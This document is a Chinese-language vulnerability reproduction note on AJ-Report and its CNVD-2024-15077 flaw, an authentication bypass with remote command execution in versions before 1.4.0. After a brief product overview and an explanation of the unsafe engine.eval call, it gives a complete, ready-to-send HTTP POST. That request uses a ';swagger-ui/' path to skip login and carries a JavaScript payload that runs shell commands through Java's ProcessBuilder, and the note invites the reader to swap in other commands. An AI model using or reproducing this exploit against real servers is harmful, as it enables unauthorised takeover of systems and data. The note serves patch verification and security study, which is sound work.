目录
AJ-Report是什么
CNVD-2024-15077(AJ-Report认证绕过和远程代码执行漏洞)
AJ-Report是什么
AJ-Report是完全开源的BI(Business intelligence)平台，旨在帮忙用户生成和管理各种类型的报表。它通常用于web应用中，用于分析和展示数据，常用于企业和数据密集型框架中。AJ-Report支持多种便捷功能。
- 报表设计器：允许用户通过图形化界面设计报表，无需编写复杂的代码。
- 数据源支持：可以与数据库、API 等多种数据源连接，支持多种数据格式（如 SQL、NoSQL 等）。
- 可定制性：支持定制报表的布局、样式、格式等，满足不同的业务需求。
- 导出功能：用户能够将生成的报表导出为 PDF、Excel 等格式，便于分享和存档。
CNVD-2024-15077(AJ-Report认证绕过和远程代码执行漏洞)
漏洞成因：verification方法未对传入的参数进行过滤，允许执行JavaScript函数。导致命令执行漏洞。代码使用engine.eval(validationRules)执行传入的validationRules字符串。validationRules字符串可来自用户输入，没有对用户输入做验证和清理，恶意用户可构造恶意的JavaScript代码传递给validationRules，从而在服务器上执行恶意命令。
版本要求：AJ-Report < 1.4.0
账号要求：无需登录，无需账号。
步骤1:构造数据包如下
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: your-ip:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339{"ParamName":"",
"paramDesc":"",
"paramType":"",
"sampleItem":"1",
"mandatory":true,
"requiredFlag":1,
"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}调用Swagger UI 接口发送的POST数据包，以JSON格式传递数据，在key为validationRules中构造命令。
步骤2:查看结果
切换命令测试
